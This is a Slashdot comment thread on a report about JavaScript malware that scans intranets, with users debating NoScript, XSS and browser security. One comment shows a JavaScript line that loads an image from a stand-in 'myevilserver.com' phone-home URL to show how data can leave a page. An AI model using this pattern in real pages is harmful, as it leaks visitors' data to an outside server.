JavaScript Malware Open The Door to the Intranet 169
An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"
JavaScript Malware Open The Door to the Intranet (Score:5, Funny)
Re:JavaScript Malware Open The Door to the Intrane (Score:5, Funny)
Re: (Score:2)
Re:JavaScript Malware Open The Door to the Intrane (Score:3, Funny)
Re:JavaScript Malware Open The Door to the Intrane (Score:2)
Re:JavaScript Malware Open The Door to the Intrane (Score:2)
The decision whether or not to do so mostly depends on whether you intend to produce a web site (open and available for all to see) or a web application (a client/serverside application that just happens to be presented inside a web browser). I know that's a blurry line of distinction. Usually people decide w
NoScript (Score:5, Informative)
Re:NoScript (Score:5, Informative)
specifically allow (Score:2)
Feature creep? (Score:2, Interesting)
Seriously, NoScript is great, but if I want to block flash I'll install Adblock or Flashblock. If I want to whitelist sites for javascript then I'll use NoScript. Whatever happened to the concept of simply doing one thing well?
Re:Feature creep? (Score:2, Informative)
Re:Feature creep? (Score:2)
Re:Feature creep? (Score:2)
It was superseded by the concept of doing two things well.
Re:NoScript No Sh*t (Score:2)
So, I ONLY activate JavaScript in Konqueror on a page-by-page basis. I have it AND Java turned off by default. When the page is done, I destroy the history folder and sometimes nuke the cookies. I also in my firewall at the eth device and LAN device, as well as in the ports and as well as in Konqueror's cookies manager
Re:NoScript No Sh*t (Score:2)
Re:NoScript (Score:5, Insightful)
Most recently we saw this problem in Netscape's portal.
http://blog.outer-court.com/archive/2006-07-26-n7
Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.
Re:NoScript (Score:2, Informative)
Re:NoScript (Score:1)
Re:NoScript (Score:3, Insightful)
Re:NoScript (Score:2)
I guess you can make a semantic argument that when I take this role, I'm an engineering contractor instead
Re:NoScript (Score:2)
Re:NoScript (Score:2)
Actually, IT consultants often do come in to code/design/mentor. Likewise, they are often required to help implement their own recommendations. Not surprisingly, many shops which require a consultant to come in, also lack the inhouse knowledge to implement the resulting recommendation. This may be from a lack of industry knowledge or because their in house talent can only tackle 95% of the problem domain and need help with the last 5%. And yes, sometimes that last 5% can take many
That high horse of you looks tired. (Score:2)
Your definition of consultant is so narrow that no camel will ever go through that needle's eyelet. Not even a mini camel.
Consulting is understood as the poviding of professional srvices in an area, the nature of the gig may be advisory, but can be also doing technical work. What you need is somebody that can fall in a position running. Anybody capable of doing that will fit the definition of most sane people.
In your ayatolhaic zeal you make half a point: people
Re:NoScript (Score:3, Insightful)
Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.
Anyway, just brush that off, take the good from what they had to say,
Re:NoScript (Score:2)
Re:NoScript (Score:3, Informative)
RTFA.
Problem Solved? (Score:3, Interesting)
The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it
Doesn't work that way with NoScript (Score:2)
I've used NoScript now for quite a while and I love it.
Re:Doesn't work that way with NoScript (Score:2, Informative)
You just described a whitelist.
His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.
I know you no-script fanboys can't stand the idea that your favorite
Re:Doesn't work that way with NoScript (Score:2)
Also, try de-caf...it's just as tasty as the real thing.
Re:NoScript (Score:2)
Why not just install Opera 9 and use the new site management capability to manage javascripting. You can disable javascript by default for all sites, and only allow javascript to run on those sites that you trust.
Re:NoScript (Score:1)
Re:NoScript (Score:2)
Uhh...
Yeah really I don't get it either.
I always browse with JS turned off and only enable it when I really, absolutely need to, or on sites I really trust. I figure, any other sites are a)using it for fluff I don't care about (like fancy dropdown menus that have no business using JS) or b) probably
Re:NoScript (Score:3, Insightful)
If you want a 'You have recieved mail' popup, you need JS, same with drag/drop, client side validation (along with server side obviously), client side updates of something that is happening server side (eg: t
Re:NoScript (Score:1)
The problem is that so many sites pointlessly rely on javascript.
large numbers of them are un-navigatable without javascript enabled.
If I blocked javascript on all sites that I visited that I didn't completely trust then I wouldn't be able to use a large number of sites. It's a problem of idiot web developers who don't know what they are doing, but think it will be COOL!
eg. non web application sites using 'AJAX' because it's the new cool thing.
Re:NoScript (Score:2)
Re:NoScript (Score:2)
I'm currently playing around with AJAX (shameless plug: a MySpace with better usability in PHP [robertjognkaper.com]) but because I can't see if JavaScript is on or off on the server side easily, I have to generate pages which include interface definitions fo
Re:NoScript (Score:2)
Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.
Not quite, you see that means you have to trust the web-sites you use to not allow any XSS attacks. For example, I imagine that most people would not have second thoughts about trusting altavista.com, however, clicking on a crafty link [altavista.com][1] to this site could result in serious trouble.
The only solution that i
Re:NoScript (Score:2)
Re:NoScript (Score:2)
NoScript link
Re:NoScript (Score:2)
1.) Firefox 2 includes a Phishing filter. (Firefox 2 is to Firefox current as Internet Explorer 7 is to Internet Explorer current... except that Firefox current is already better than Internet Explorer 6, at least in terms of W3C compliance, security, privacy, RSS feed handling, 32-bit/24-bit-with-alpha PNG handling...) This isn't the same as what we're talking about, but it's the closest thing needed that's actually sensible. (I don't believe NoScript is sensible - most users
Re:NoScript (Score:2)
Simple fix to an obvious problem (Score:4, Insightful)
So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Re:Simple fix to an obvious problem (Score:5, Interesting)
The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.
"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."
"Paranoid Mode" extension - a proposal (Score:2)
Paranoid Mode would block all plugins, cookies and javascript, and optionally have a "click-to-load" button in place of content from other servers
Re:Simple fix to an obvious problem (Score:2)
I'm not sure about that. I ran into the same security restrictions in IE that exists in the other browsers using AJAX. The only solution to the problem was to get rid of the 'www' in the URL, EVER - so users always browse on http://thesite.com./ [thesite.com.]
By the way, about your sig:
I hate when stations do that. It's like.. if it's so deadly isn't it kin
Re:Simple fix to an obvious problem (Score:2)
Re:Simple fix to an obvious problem (Score:2)
I haven't tried using Dynamic Scripting to access local domains / addresses but it does work for non-originating sites.
Also, I don't believe that IE does allow Cross Site AJAX.
Re:Simple fix to an obvious problem (Score:4, Insightful)
img.src="http://myevilserver.com/phonehome.cgi?ev
document.body.appendElement(img);
Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?
Re:Simple fix to an obvious problem (Score:2, Insightful)
As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)
The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.
This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of t
Re:Simple fix to an obvious problem (Score:3)
This is moot. The server which served you the page already has your IP address.
Re:Simple fix to an obvious problem (Score:5, Informative)
Re:127.0.0.1 (Score:2)
Of course, a clever program could just probe a half dozen typical addresses, but why do that when JavaScript is happy to tell you?
Re:Simple fix to an obvious problem (Score:2)
Re:Simple fix to an obvious problem (Score:3, Insightful)
Re:Simple fix to an obvious problem (Score:2)
Site attempts to load image navbar2.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
Site attempts to load image navbar3.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
Site attempts to load image navbar4.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
Site attempts to load image navbar5.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | D
Re:Simple fix to an obvious problem (Score:4, Insightful)
An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.
The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.
But then you are questioning the entire Hyper Text idea - the linking of the Internet.
This most certainly will not be fixed in the next release of ANY browser.
How's this news? (Score:2, Insightful)
It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that
Oh well, let's prevent people doing their jobs (Score:3, Funny)
Comment removed (Score:5, Informative)
Re:How's this news? (Score:1, Informative)
Removing an attack vector is pseudo security? Are you for real?
I suppose you think that the latest firefox only fixed "pseudo security" vulns?
http://www.mozilla.org/projects/security/known-vul nerabilities.html [mozilla.org]
I count 12, all of which would be prevented by disabling javascript.
Corporate users need access to departmental servers, you can either disable script, deny outright or sandbox their web access via a VM. It's firewalls and vlans that have become pseudo security once an att
NoScript extension could be a saviour (Score:5, Informative)
It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)
WMVs (Score:4, Insightful)
Re:WMVs (Score:2)
http://www.video-clips.co.uk/viewmedia.php?cid=18 [video-clips.co.uk]
This particular one didn't crash when I tried it, but it does start an unending until you click the 'don't show this anymore' checkbox error message loop whose message I, unfortunately, can't quite remember, advising you to restart the program. Hopefully anyone visi
Re:WMVs (Score:2)
Re:WMVs (Score:2)
No problems here, with Firefox 1.5.0.2 (javascript disabled) under FreeBSD6.0. In fact, mplayerplug-in loads the clip and plays it just fine.
Are you sure your version of firefox isn't just buggy, or have some odd-ball extension causing rendering problems?
To answer your curiosity, it's just a video of a guy branding a horse, and getting kicked for his troub
Re:WMVs (Score:2)
Re:WMVs (Score:2)
Configure which sites get javascript? (Score:3, Insightful)
Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.
Re:Configure which sites get javascript? (Score:1)
http://www.noscript.net/whats [noscript.net]
Completely blocked the "proof of concept" script here.
Re:Configure which sites get javascript? (Score:1)
Re:Configure which sites get javascript? (Score:1)
Re:Configure which sites get javascript? (Score:2)
Hmm, already having NoScript, I didn't see the ad.
It works!
Re:Configure which sites get javascript? (Score:1, Insightful)
Especially prepare to be belittled by those with vested interests in web2.0(TM). These people know full well that client-side scripting is security problem #1 but would prefer if the truth never got out.
Here comes another flamebait mod!
I tried the "proof of concept" here... (Score:2, Informative)
But the Firefox "NoScript" extension completely blocked it until I told i
Re:I tried the "proof of concept" here... (Score:2)
Re:I tried the "proof of concept" here... (Score:2, Interesting)
Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know a
Re:I tried the "proof of concept" here... (Score:2)
And that's lovely, until you realize that not everyone runs Firefox and in many corporate environments, IE is still the defacto standard. Hoping a browser will rescue application developers from bad security design is like hoping Paris Hilton wins a Nobel Prize.
Security starts with code; if the code isn't secure, then you're asking for trouble. Programming classes in colleges and tech institut
Javascript Haters Society (Score:4, Insightful)
That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".
Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.
Re:Javascript Haters Society (Score:2)
Running everything over http.... I would rather not be a sysadmin at a company which does that.
Re:Javascript Haters Society (Score:2)
Never heard of Windows, have you?
At what point does continually patching and repatching a fundamentially insecure technology become futile?
Re:Javascript Haters Society (Score:2)
In my dreams. <sigh>
It's a good example, though. I need to use Windows for two main reasons. First, because so much software is written only to run on Windows. Second, because customers use Windows and I need to be able to test and debug in an environment matching theirs. As such, no matter how buggy or insecure Windows may be either now or in the future it will never be "futile" for me to use it. (Just infuriating on occasion.)
Javascript is not quite such a cle
Doing a quick parse of the article... (Score:1, Insightful)
So, the problem is with MS (again) and 'harry home owner' type people that don't have a clue about anything, so just run with the flow [OK].
Missing the point (Score:4, Interesting)
Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.
For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.
Re:Missing the point (Score:2)
You don't need it - you want it. (Score:5, Insightful)
You don't need it - you want it. You want it to make the entire web experience better.
From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.
Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.
Similarly with Java, Flash and other things.
Re:You don't need it - you want it. (Score:2)
Except when I don't because it makes my entire experience much worse. A particular peeve of mine is image galleries which tie javascript actions to each thumbnail so that they will all open in the same external window. What I _want_ to do is to middle-click a few of the images which look interesting, open them each up in seperate tabs, read the article, and then look at the full sized pictures when they are all done
Re:You don't need it - you DON'T want it. (Score:2)
You don't need it - you want it. You want it to make the entire web experience better.
Nonense. Using javascript for any of the things the parent mentioned is regressive. Apart from the things the sibling posters have mentioned it can also break:
All this lost for ze
Re:You don't need it - you want it. (Score:2)
At what point do you STOP adding on patches as vunerabilities become known, and give-up on JS as the poorly thought-out and fundamentally insecure standard that it is?
Images are no more a security threat than HTML. Sure, you can have a buffer overflow in an image, but the same goes for HTML code. Javascript is an all-together different animal. It's not being used as buffer overflows a
Sandbox web-enabled applications (Score:1)
Sandbox web-enabled applications, either individually or as a set.
Even better: Sandbox sessions. Any address I type into my web browser, any link I open from a saved bookmark, or any link I open with a "open in new sandbox" command, gets a new sandbox.
For home users, sandboxes get access to just the default gateway, they can't touch 127.0.0.1 or 192.168.1.x. They get read-only access to parts of the filesystem, such as where Java applets are stored, and read-
NCSA Mosaic avoids this problem (Score:3, Funny)
FIrefox NoScript? (Score:2, Interesting)
How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.
Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSa
Detection of webserverless machines is unreliable (Score:2)
In addition, if a machine has a webserver on it but requests for / give an err
The Cross Site Scripting FAQ (Score:2)
Cross Site Scripting [cgisecurity.com] FAQ
WAN computing has evolved in a bad way. (Score:2)
We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.
Please kill JavaScript. (Score:2, Insightful)
As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific b
Fix the stupid bugs (Score:2, Insightful)
The real problem is that the browsers have bad code in their JavaScript implementations. This is what needs to be fixed.
Also, web browsers probably should run using CreateRestrictedToken. I wish web browsers would run with lower privilege than your normal user applications. You could have 2 processes, one that runs at normal privilege and one that runs as a restricted token. Almost the
Re:A solution to this problem. (Score:2, Insightful)
Re:A solution to this problem. (Score:3, Informative)
Re:Javascript = One really bad idea (Score:2)